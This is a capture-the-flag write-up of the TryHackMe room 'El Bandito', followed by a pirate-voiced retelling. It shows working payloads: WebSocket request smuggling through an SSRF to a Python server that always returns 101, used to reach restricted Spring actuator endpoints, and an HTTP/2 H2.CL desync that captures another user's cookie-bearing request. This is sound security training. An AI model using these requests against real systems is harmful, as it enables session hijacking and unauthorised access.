El Bandito

Can you help capture El Bandito before he leaves the galaxy? - by l4m3r8

The following post by 0xb0b is licensed under CC BY 4.0


If you finished the room with the help of a writeup I recommend doing the challenge again in a few months to forget about the path to take here. So you are able to improve on the topic of this challenge. Execution is easy, but detecting the right payloads is still hard and touchy.

Recon

We start with a Nmap scan, and discover four open ports: 22, 22, 80, 631, and 8080.

In addition to SSH, the server provides three web servers. Interesting. But we already know from the challenge that it is probably a pure web challenge. On 8080, we are dealing with a Spring Java Framework. No other versions can be detected. The endpoint on Port 80 runs on HTTPS.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/el bandito]
└─$ nmap -sC -sV -p 22,80,631,8080 elbandito.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 14:56 EDT
Nmap scan report for elbandito.thm (10.10.235.198)
Host is up (0.036s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:6a:33:82:85:12:84:14:99:91:30:15:ab:fb:bf:32 (RSA)
|   256 8f:d2:f3:5a:92:14:96:b0:d3:d8:85:89:7e:7b:a9:7c (ECDSA)
|_  256 f6:ed:0d:61:22:66:5b:52:9f:7b:f8:42:6c:50:9c:3f (ED25519)
80/tcp   open  ssl/http El Bandito Server
|_http-server-header: El Bandito Server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Date: Sat, 23 Mar 2024 18:57:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 23 Mar 2024 18:56:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 58
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Accept-Ranges: bytes
|     Connection: close
|     nothing to see <script src='/static/messages.js'></script>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 23 Mar 2024 18:56:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 0
|     Allow: OPTIONS, HEAD, GET, POST
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest: 
|_    HTTP/1.1 400 Bad Request
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost
| Not valid before: 2021-04-10T06:51:56
|_Not valid after:  2031-04-08T06:51:56
|_ssl-date: TLS randomness does not represent time
631/tcp  open  ipp      CUPS 2.4
|_http-server-header: CUPS/2.4 IPP/2.1
|_http-title: Bad Request - CUPS v2.4.7
8080/tcp open  http     nginx
|_http-favicon: Spring Java Framework
|_http-title: Site doesn't have a title (application/json;charset=UTF-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%T=SSL%I=7%D=3/23%Time=65FF25DE%P=x86_64-pc-linux-g

...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.64 seconds
                                                             

We use Gobuster to determine the directories of the web applications. Unfortunately, we don't find much on endpoint 80; only /static/messages.js seems to be interesting. For further information, the page is enumerated manually.

gobuster dir -u https://elbandito.thm:80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k

8080 provides a few more directories, most of them are forbidden and known for Java Spring Framework.

gobuster dir -u http://elbandito.thm:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The First Web Flag

As a first entry point, 8080 is of interest because it offers more directories, we know what kind of framework we are dealing with in the background (Java Spring Framework), and the first visit to the index page promises more. The page seems to have several links, most of which are just anchor points. Accessible pages here are Services and Burn Token.

Manual Enumeration

The Burn Token page has a form that offers interaction.

The page source code tells us that a WebSocket is hidden behind it, which is used.

This can be seen when loading the page, but there do not appear to be any open connections.

Possible Request Smuggleing Via WebSocket

We intercept the request on burn.html and see an HTTP/1.1 WebSocket request in Burp Suite. Something I saw the day before in a freshly published walkthrough room on TryHackMe. Since we know that this is a pure web challenge, the theme of the bandit is continued from a previous challenge in which a part was also HTTP request smuggling, and the challenge itself writes:

"We request your help in smuggling all the flags."

This will probably be very much a challenge about request smuggling, especially WebSocket request smuggling, here.

The following resource gives guidance on WebSocket Request Smuggling:

Using WebSocket Request Smuggling, we can bypass proxy restrictions. By recalling spring actuator endpoints and the gobuster scan, we could be able to get access to sensitive information by accessing those restricted resources.

Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.

We send the /ws request to the repeater and see that the path /ws does not exist.

As described in https://tryhackme.com/r/room/wsrequestsmuggling, we can enable request smuggling using WebSocket Upgrade. We create a malformed request so that the proxy assumes that a WebSocket upgrade has taken place - for example, with a higher version number, here 777 -, but the version in the backend remains the same. This causes the proxy to create a tunnel between client and server, which is unchecked and perceived as a WebSocket connection, but the backend still expects HTTP traffic.

With this, we are tying to access a restricted resource by specifying an incorrect version number and applying request smuggling, but this does not work here.

The server seems to be secured and checks whether the WebSocket upgrade was successful. We are not able to access /env, for example.

Defeating Secure Proxies

Since we can't smuggle requests with just a simple malformed request, we need to find a way to fool the proxy into believing that a valid WebSocket connection has been established.

In other words, we have to somehow trick the proxy that the backend web server responds with a 101 Switching Protocols response without actually upgrading the connection in the backend to establish that 'upgrade'. So we are looking for an SSRF, also depicted here:

We come across Services and see an online status for http://bandito.websocket.thm and http://bandito.public.thm.

We intercept the request, and lo and behold, we have the possibility to apply server-side request forgery. If we point to /isOnline?url=http://attacker-server/ and have a a server, that responds only with 101s, we could make use of this to upgrade our websocket.

Fortunately, THM has already provided a server in python:

server.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 1:
    print("""
Usage: {} 
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.protocol_version = "HTTP/1.1"
       self.send_response(101)
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

We start the server...

... And edit our initial request and swap / with /isOnline?url=http://attacker-server:attacker-port/. We are able to retrieve restricted resources now. Nice.

GET /isOnline?url=http://10.8.211.1:5555 HTTP/1.1
Host: elbandito.thm:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 777
Origin: http://elbandito.thm:8080
Sec-WebSocket-Key: 3vSZkmbaX99FKC2xCUF+UA==
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

GET /env HTTP/1.1
Host: elbandito.thm

Unfortunately, we have not found anything in /env, but we do have other directories that could contain something sensitive. At the resource /trace, we find two directories that we did not find in our Gobuster scan and are also not usual for the framework: /admin-creds and /admin-flag.

On accessing /admin-creds we are able to retrieve some credentials, that might have been used for other stuff.

And at /admin-flag we find our first flag.

A deep dive into the topic of WebSocket Request Smuggling can be found here:

The Second Web Flag

We continue at the end point 80. The index page shows a nothing to see, but that's not the case.

Like the Gobuster scan, the source reveals /static/messages.js. This could be our entry point.

The JavaScript code manages a chat interface between two users, JACK and OLIVER. It handles message fetching, displaying, and sending functionalities. Users can switch between JACK and OLIVER's messages by clicking on their respective discussion tabs. When sending a message, the code distinguishes between regular user messages and those from a simulated bot, which is indicated in the chat interface.

/static/messages.js
document.addEventListener("DOMContentLoaded", function () {
	const discussions = document.querySelectorAll(".discussion");
	const messagesChat = document.querySelector(".messages-chat");
	const headerName = document.querySelector(".header-chat .name");
	const writeMessageInput = document.querySelector(".write-message");
	let userMessages = {
		JACK: [],
		OLIVER: [],
	};

	// Function to fetch messages from the server
	function fetchMessages() {
		fetch("/getMessages")
			.then((response) => {
				if (!response.ok) {
					throw new Error("Failed to fetch messages");
				}
				return response.json();
			})
			.then((messages) => {
				userMessages = messages;/
				userMessages.JACK === undefined
					? (userMessages = { OLIVER: messages.OLIVER, JACK: [] })
					: userMessages.OLIVER === undefined &&
					  (userMessages = { JACK: messages.JACK, OLIVER: [] });

				displayMessages("JACK");
			})
			.catch((error) => console.error("Error fetching messages:", error));
	}

	// Function to display messages for the selected user
	function displayMessages(userName) {
		headerName.innerText = userName;
		messagesChat.innerHTML = "";
		userMessages[userName].forEach(function (messageData) {
			appendMessage(messageData);
		});
	}

	// Function to append a message to the chat area
	function appendMessage(messageData) {
		const newMessage = document.createElement("div");
		console.log({ messageData });
		newMessage.classList.add("message", "text-only");
		newMessage.innerHTML = `
           ${messageData.sender !== "Bot" ? '<div class="response">' : ""}
        <div class="text">${messageData}</div>
    ${messageData.sender !== "Bot" ? "</div>" : ""}
        `;
		messagesChat.appendChild(newMessage);
	}

	// Function to send a message to the server
	function sendMessage() {
		const messageText = writeMessageInput.value.trim();
		if (messageText !== "") {
			const activeUser = headerName.innerText;
			const urlParams = new URLSearchParams(window.location.search);
			const isBot =
				urlParams.has("msg") && urlParams.get("msg") === messageText;

			const messageData = {
				message: messageText,
				sender: isBot ? "Bot" : activeUser, // Set the sender as "Bot"
			};
			userMessages[activeUser].push(messageData);
			appendMessage(messageText);
			writeMessageInput.value = "";
			scrollToBottom();
			console.log({ activeUser });
			fetch("/send_message", {
				method: "POST",
				headers: {
					"Content-Type": "application/x-www-form-urlencoded",
				},
				body: "data="+messageText
			})
				.then((response) => {
					if (!response.ok) {
						throw new Error("Network response was not ok");
					}
					console.log("Message sent successfully");
				})
				.catch((error) => {
					console.error("Error sending message:", error);
					// Handle error (e.g., display error message to the user)
				});
		}
	}

	// Event listeners
	discussions.forEach(function (discussion) {
		discussion.addEventListener("click", function () {
			const userName = this.dataset.name;
			console.log({ userName });
			displayMessages(userName.toUpperCase());
		});
	});

	const sendButton = document.querySelector(".send");
	sendButton.addEventListener("click", sendMessage);
	writeMessageInput.addEventListener("keydown", function (event) {
		if (event.key === "Enter") {
			event.preventDefault();
			sendMessage();
		}
	});

	// Initial actions
	fetchMessages();
});

// Function to scroll to the bottom of the messages chat
function scrollToBottom() {
	const messagesChat = document.getElementById("messages-chat");
	messagesChat.scrollTop = messagesChat.scrollHeight;
}

We know about a message board, and about directory /access. If we visit this, we get a login mask. We have already harvested 8080 credentials, which we now use here to log in as hAckLIEN.

We have a chat in front of us, between hAckLIEN and Jack. We can select the chats between Jack and Oliver, but there is none with Oliver.

Analyzing Requests

Let's take a look at what requests are made when we reload /messages and sending messages.

In addition to the board, the messages are also loaded, as the structure of the script suggests.

We can send any messages with our session.

As this room stated, "We request your help in smuggling all the flags." All flags could have something to do with HTTP Request Smuggling. Let's try to detect it.

All the requests we have made are HTTP/2 requests. There is not much smuggling possible unless we can downgrade to HTTP/1.1. If this is not possible, we only have HTTP/2 request tunneling as another option. A good explanation with hands-on practices for HTTP/2 Request Smuggling is available at:

Let's switch to HTTP/1.1 in Burp Suite. And seeing that these requests are also supported is interesting. Perhaps a downgrade is possible.

Different Approaches To Request Smuggling

The first tests for smuggling were carried out purely on HTTP/1.1. At some point there was an error that I could no longer reproduce myself due to the abundance of payloads. We receive a 503 backend fetch failed, which tells us that we are dealing with a Varnish cache server, which is known to be susceptible for some versions to request smuggling.

With the following request, this can be safely reproduced:

We set the Content-Length now to 0, disable the Content-Length update in Burp Suite, and append a second request to retrieve all the messages after sending a message. The reply suggests, and confirms, that HTTP Request Smuggling is possible here.

Exploiting HTTP/2 Desync - Downgrade Via H2.CL

We have seen that we can also send HTTP/1.1 requests successfully and chain requests by setting the Content-Length to 0 for the first request. It is very likely that an HTTP/2 downgrade is possible.

This Downgrade of HTTP/2 to HTTP/1.1 requests via Content-Length Header is called H2.CL and is pictured in the following Walkthrough-Room of TryHackMe - Task 3: HTTP2/Desync HTTP/2 Downgrading H2.CL:

HTTP/2 downgrading occurs when a reverse proxy serves content to the end user with HTTP/2 (front-end connection) but requests it from the back-end servers with HTTP/1.1 (back-end connection). The Content-Length header isn't significant for HTTP/2, as the length of the request body is clearly defined. But a Content-Length header can still be added to an HTTP/2 request. If an HTTP downgrade occurs, the proxy will pass on the added Content-Length header from HTTP/2 to the HTTP/1.1 connection and thus enable desynchronization. The proxy receives the HTTP/2 request on the frontend connection. When translating the request to HTTP/1.1, it simply passes the Content-Length header to the backend connection. The backend web server then reads the request andd acknowledges the injected Content-Length as valid, which enables HTTP Request Smuggling.

We switch back to HTTP/2 in our previously made request to /send_message and try our first approach. We set the Content-Length to 0 and appended the data SMUGGLED to our POST request. The automatic update of the Content-Length in Burp Suite has to be disabled.

After multiple request we can see, that after a successful one we get a 405 Not Allowed Response. We can imagine, that our request after a successful one gets appended to SMUGGLED which make the POST /send_message HTTP/2 request to a SMUGGLEDPOST /send_message HTTP/2 which results in a 405.

The endpoint might be vulnerable to HTTP/2 Downgrade Via H2.CL.

Since HTTP/2 smuggling is probably possible, we now have to think about how we can exploit it. We have a message board with at least two users and one bot. They may still communicate on this board. The idea is now to intercept the request of one of the users and retrieve sensitive information of the request made.

We can realize this by smuggling; we place an incomplete send_message request on the server, with a sufficient content length. The request of the victim should serve as data, so that it can be posted on the message board, visible to us.

The following request executes exactly that: we adapt our send_message request in the repeater so that we are querying / instead of send_messages.

POST / HTTP/2
Host: elbandito.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Zf9h6Q._RuzBukkXUAbWkck_BFx4LA4rcc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 0

POST /send_message HTTP/1.1
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Zf9h6Q._RuzBukkXUAbWkck_BFx4LA4rcc
Host: elbandito.thm:80
Content-Length: 900
Content-Type: application/x-www-form-urlencoded

data=

Make sure that you have already intercepted the /messages and /send_message requests once in Burp Suite. Intercept the send_message request via the proxy and forward it to the Burp Suite repeater. Here, we will now revise the entire request.

It is possible that it is an HTTP/1.1 request that you have intercepted; change this to HTTP/2 via the inspector panel. Then replace the request.

We send our initial request to /, using Content-Length: 0. We append an incomplete send_message request to this request. This way we write the request of another user to our message board. With a sufficient content length of 900 or more, we ensure that everything from the user's request is taken into account as data for the message.

This request must be spammed again until the response is delayed. It is now necessary to wait until the 503 service unavailable response arrives. This is updates continuously. After approximately one minute, the victim should also have submitted a request, which we can now find on the message board /getMessages.

We call /getMessages and find the expected response. We catched a login request. The second flag is in the cookie information.

Conclusion

Thank you, l4m3r8, for this awesome challenge. It took me some time, and in the end, it added some more brain wrinkles to my brain.

After completing the walkthrough rooms, I felt very prepared for the various request-smuggling techniques. But that's probably not quite the case. They are very easy to execute, but very difficult to recognize. Practice makes the difference. I think if I came across another smuggling challenge, I would still need hours to detect it and exploit it.

But this is the way.

A Smuggler's Tale

The Pirate's Recon

We set sail with our trusty Nmap scanner, scouring the digital seas for treasures. Aye, we spy four open ports: 22, 80, 631, and 8080. But it's the promise of buried booty on ports 80 and 8080 that catches our keen pirate eyes.

Hoisting the Jolly Roger on Port 8080

Ahoy, me hearties! Port 8080 be teemin' with possibilities. Aye, we be dealin' with the Java Spring Framework, aye, a fine vessel to plunder. We spy a page called "Burn Token", hintin' at secrets beneath the surface.

We delve deep, sniffin' out a hidden WebSocket like a bloodhound on the scent of treasure. But the path be barred by a proxy, aye, a clever guardian protectin' the loot. Yet we be crafty pirates, and we spy a vulnerability in the proxy's defenses – aye, a server-side request forgery lurks, just waitin' for a scallywag like meself to exploit it.

With a bit o' trickery and a server of our own, we breach the defenses and plunder the forbidden directories. Aye, we find a trove of credentials in /admin-creds, and our first flag be flyin' high at /admin-flag.

Chartin' a Course for Port 80

But our quest be far from over, me hearties! We set sail for port 80, where a mysterious message board awaits. Aye, it be guarded by a login prompt, but fear not – we've got the keys to the kingdom from our earlier plunderin'.

We slip into the chat like shadows in the night, eavesdroppin' on conversations betwixt hAckLIEN and Jack. But the real treasure lies in the messages themselves, ripe for the plunderin'.

Unleashin' the Kraken – Request Smugglin' Ahoy!

But wait – what be this? Our requests be met with a strange response, aye, a 503 error from a Varnish cache server. Methinks there be mischief afoot – aye, HTTP request smugglin' be the name of the game.

We splice the mainbrace and set our sights on smugglin' requests, usin' HTTP/2 trickery and downgrades to breach the defenses. Aye, we be slippery devils, slippin' past the guards and snatchin' flags from right under their noses.

The Spoils of Victory

And so, me hearties, we emerge victorious, flags in hand and treasure in our grasp. With our wits and our cunning, we've outsmarted the guardians of the digital realm and claimed our rightful booty.

But let this tale be a warnin' to ye – the seas of cyberspace be treacherous indeed, and only the boldest and the craftiest pirates can hope to navigate them unscathed. So set yer sails high, me hearties, and may the winds of fortune ever be at yer back! Argh!

Last updated